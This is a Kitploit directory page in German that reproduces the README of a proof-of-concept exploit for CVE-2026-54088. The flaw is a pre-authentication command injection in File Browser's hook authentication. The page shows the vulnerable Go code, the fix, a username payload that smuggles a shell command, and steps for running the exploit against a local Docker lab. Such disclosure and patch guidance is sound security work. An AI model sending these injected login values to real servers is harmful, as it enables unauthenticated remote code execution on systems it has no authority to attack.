Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-54088-poc — Proof-of-Concept-Exploit für CVE-2026-54088, eine Pre-Authentication-OS-Command-Injection-Sicherheitslücke in File Browser <= 2.63.5 über Hook-Authentication-Shell-Ersatz. | Kitploit
Tools/GitHubGitHub/saku0512/cve-2026-54088-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungPayload-Entwicklung
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

Proof-of-Concept-Exploit für CVE-2026-54088, eine Pre-Authentication-OS-Command-Injection-Sicherheitslücke in File Browser <= 2.63.5 über Hook-Authentication-Shell-Ersatz.

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-54088: Command Injection durch Shell-Ersetzung im Authentifizierungs-Hook (Pre-Auth RCE)

English version

Übersicht

Dieses Repository enthält einen Proof of Concept (PoC) für die kritische OS-Kommandoinjektions-Schwachstelle CVE-2026-54088 in File Browser Version <= 2.63.5.

Die Schwachstelle befindet sich in der Hook Authentication-Funktion. Wenn ein Administrator File Browser so konfiguriert hat, dass die Benutzerauthentifizierung über einen externen Befehl erfolgt, werden die bei der Anmeldung gesendeten username und password unescaped von os.Expand() in die konfigurierte Befehlszeichenkette expandiert. Ein nicht authentifizierter Angreifer kann Shell-Syntax über die Anmeldeanfrage injizieren und beliebige Befehle ausführen, bevor die Authentifizierung erfolgreich ist.

Entdecker: saku0512 (https://github.com/Saku0512)


Haftungsausschluss

Dieses Projekt dient ausschließlich zu Bildungszwecken und ethischen Sicherheitstests.

Der Autor übernimmt keinerlei Haftung für Missbrauch, Schäden oder illegale Handlungen, die aus diesem Tool resultieren. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie diese Software nur in Umgebungen, für die Sie ausdrückliche Genehmigung haben.


Schwachstellendetails

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • Typ: OS-Kommandoinjektion (CWE-78)
  • Auswirkung: Remote-Codeausführung vor Authentifizierung (Pre-Auth RCE)
  • Betroffene Versionen: File Browser <= 2.63.5
  • Behobene Version: File Browser 2.63.6
  • Betroffene Datei: auth/hook.go
  • Betroffene Funktion: HookAuth.RunCommand

Ursache

HookAuth.RunCommand() teilt den konfigurierten Authentifizierungsbefehl auf und expandiert Platzhalter für Anmeldeinformationen mit vom Angreifer kontrollierten Anfragedaten.

root@kitploit:~
envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

Wenn der Hook-Befehl wie folgt konfiguriert ist:

root@kitploit:~
sh -c $USERNAME

Wenn der Angreifer einen Benutzernamen wie folgt sendet:

root@kitploit:~
touch /tmp/fb_hook_auth_pwned; echo hook.action=block

Während des Anmeldeversuchs führt der Server das vom Angreifer kontrollierte Shell-Skript aus. Es ist kein gültiges Konto oder Passwort erforderlich.

Die Korrektur

Das Problem wurde im Commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f behoben, indem die Ersetzung von Anmeldeinformationen aus der Hook-Befehlszeichenfolge entfernt wurde. Der Hook-Befehl wird wie konfiguriert ausgeführt, und die Anmeldeinformationen werden nur als Umgebungsvariablen übergeben.

root@kitploit:~
command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

Die entfernte anfällige Verarbeitung war eine os.Expand()-Schleife, die die Befehlsargumente mit vom Angreifer kontrollierten Anmeldeinformationen überschreibt, bevor exec.Command() aufgerufen wird. Diese Korrektur fügt auch Regressionstests hinzu, die sicherstellen, dass der Hook-Befehl nicht durch injizierte Anmeldeinformationen geändert werden kann und dass USERNAME/PASSWORD weiterhin über Umgebungsvariablen für den Hook verfügbar sind.


Proof of Concept (Verwendung)

1. Einrichtung der Umgebung

Starten Sie die anfällige File Browser-Umgebung. Der Dienst filebrowser-init erstellt die Datenbank und aktiviert die Hook-Authentifizierung mit einem anfälligen Befehl.

root@kitploit:~
docker compose up -d

Das Ziel ist unter folgender URL erreichbar:

root@kitploit:~
http://localhost:8080

2. Ausführen des Exploits

Führen Sie das Exploit-Skript aus diesem Verzeichnis aus.

root@kitploit:~
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

Dieser Exploit sendet eine nicht authentifizierte Anmeldeanfrage an /api/login. Die Authentifizierung wird voraussichtlich fehlschlagen, aber der injizierte Befehl wird zuvor ausgeführt.

3. Überprüfung über die GUI

Öffnen Sie den File Browser-Anmeldebildschirm im Browser.

root@kitploit:~
http://localhost:8080

Geben Sie die folgenden Werte in das Anmeldeformular ein und klicken Sie auf die Schaltfläche 'Anmelden'.

root@kitploit:~
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

Die Anmeldung schlägt fehl, aber die Ausführung des Hook-Authentifizierungsbefehls erfolgt, bevor das Authentifizierungsergebnis zurückgegeben wird. Mit dem folgenden Befehl überprüfen Sie, ob die GUI-Operation eine Markierungsdatei im Container erstellt hat.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

Wenn die Datei vorhanden ist, wurde die Pre-Auth RCE auch über die GUI-Anmeldung bestätigt.

4. Überprüfung des CLI-PoC

Überprüfen Sie, ob der Befehl im File Browser-Container ausgeführt wurde.

root@kitploit:~
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

Wenn die Datei vorhanden ist, wurde die Pre-Auth RCE bestätigt.

5. Bereinigung

root@kitploit:~
docker compose down -v

Gegenmaßnahmen

Aktualisieren Sie File Browser auf Version 2.63.6 oder höher.

Anmeldeinformationen sollten nicht in Shell-Befehlszeichenfolgen eingebettet werden, sondern nur als Umgebungsvariablen an den Hook-Befehl übergeben werden. Auch bei anderen Befehlspfaden muss die Shell-Auswertung vermieden oder eine strenge Argumenttrennung und -escaping durchgeführt werden.


Referenzen

  • File Browser GitHub Repository
  • File Browser v2.63.5 vulnerable implementation
  • Fix commit: remove undocumented hook auth with shell replacement
Tool herunterladen